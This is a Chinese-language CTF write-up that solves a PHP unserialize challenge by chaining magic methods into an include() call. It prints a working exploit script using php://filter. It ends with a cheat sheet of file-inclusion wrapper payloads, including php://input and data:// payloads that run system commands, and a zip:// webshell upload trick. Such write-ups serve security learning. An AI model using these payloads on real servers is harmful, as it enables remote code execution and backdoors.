首先原始碼如下
<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
} class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
} public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
} class Test{
public $p;
public function __construct(){
$this->p = array();
} public function __get($key){
$function = $this->p;
return $function();
}
} if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
?>
首先找到利用點
public function append($value){
include($value);
}
找到了include()
這裡補充一下常用的PHP魔術方法,這道題考察的就是魔術方法的互相呼叫
__sleep() //使用serialize時觸發
__destruct() //物件被銷燬時觸發
__call() //在物件上下文中呼叫不可訪問的方法時觸發
__callStatic() //在靜態上下文中呼叫不可訪問的方法時觸發
__get() //用於從不可訪問的屬性讀取資料
__set() //用於將資料寫入不可訪問的屬性
__isset() //在不可訪問的屬性上呼叫isset()或empty()觸發
__unset() //在不可訪問的屬性上使用unset()時觸發
__toString() //把類當作字串使用時觸發
__invoke() //當指令碼嘗試將物件呼叫為函式時觸發
然後找引數從哪裡傳過來的
public function __invoke(){
$this->append($this->var);
}
$var就是可以傳引數的地方
那麼怎麼才能呼叫__invoke()呢
發現
public function __get($key){
$function = $this->p;
return $function();
}
如果將$this->p傳遞為class Modifier的物件就會自動出發__invoke()
那麼又如如何呼叫__get()呢
發現
public function __toString(){
return $this->str->source;
}
如果將$str傳參為Test的物件,Test中沒有source方法就會呼叫__get()
那麼又如何呼叫__toString()呢
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
如果source是Show的物件就會自動呼叫__toString()
而__wakeup()是自動呼叫的,整個鏈條就形成了
__wake() => __toString() => __get() => __invoke() =>include(flag.txt)
開始寫exp:
<?php
class Modifier{
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
}
class Test{
public $p;
}
$a=new Show('a'); $a->str=new Test();
$a->str->p=new Modifier();
$b=new Show($a);
echo urlencode(serialize($b));
?>
這裡有一個小疑問記錄一下:
問題
就是為什麼include()函式要用php偽協議去讀檔案呢,include()本身不就可以讀檔案的嘛,我之前寫exp時沒有用偽協議,所以沒有讀出檔案
解決
這就是我對include()這個函式理解的不夠出深入造成的,include()這個函式除了讀取檔案還會執行檔案內容,所以需要用偽協議進行base64編碼才能顯示檔案的內容,否則就會被php直譯器執行而不會輸出到前端
延伸
php://filter 讀取檔案原始碼
php://input 任意程式碼執行
data://text/plain 任意程式碼執行
zip:// 配合檔案上傳開啟後門
專題學習一下php偽協議的各種利用姿勢
PHP://filter
php://filter 協議可以對開啟的資料流進行篩選和過濾,常用於讀取檔案原始碼
?url=php://filter/read=convert.base64-encode/resource=index.php
PHP://input
php://input 可以訪問請求的原始資料,配合檔案包含漏洞可以將post請求體中的內容當做檔案內容執行,從而實現任意程式碼執行,需要注意的是,當enctype=multipart/form-data時,php:/input將會無效
?url=php://input -- GET請求引數中使用php://input協議
<?php system('ls'); ?> -- post請求體中的內容會被當做檔案內容執行
Data://
協議格式: data:資源型別;編碼,內容
data://協議通過執行資源型別,使後面的內容當做檔案內容來執行,從而造成任意程式碼執行
?url=data://text/plain,<?php system('id') ?>
ZIP://
ziip://協議用來讀取壓縮包中的檔案,可以配合檔案上傳開啟後門,獲取webshell
將shell.txt壓縮成zip,再將字尾名改為jpg上傳至伺服器,再通過zip偽協議訪問壓縮包裡的檔案,從而連結木馬
?url=zip://shell.jpg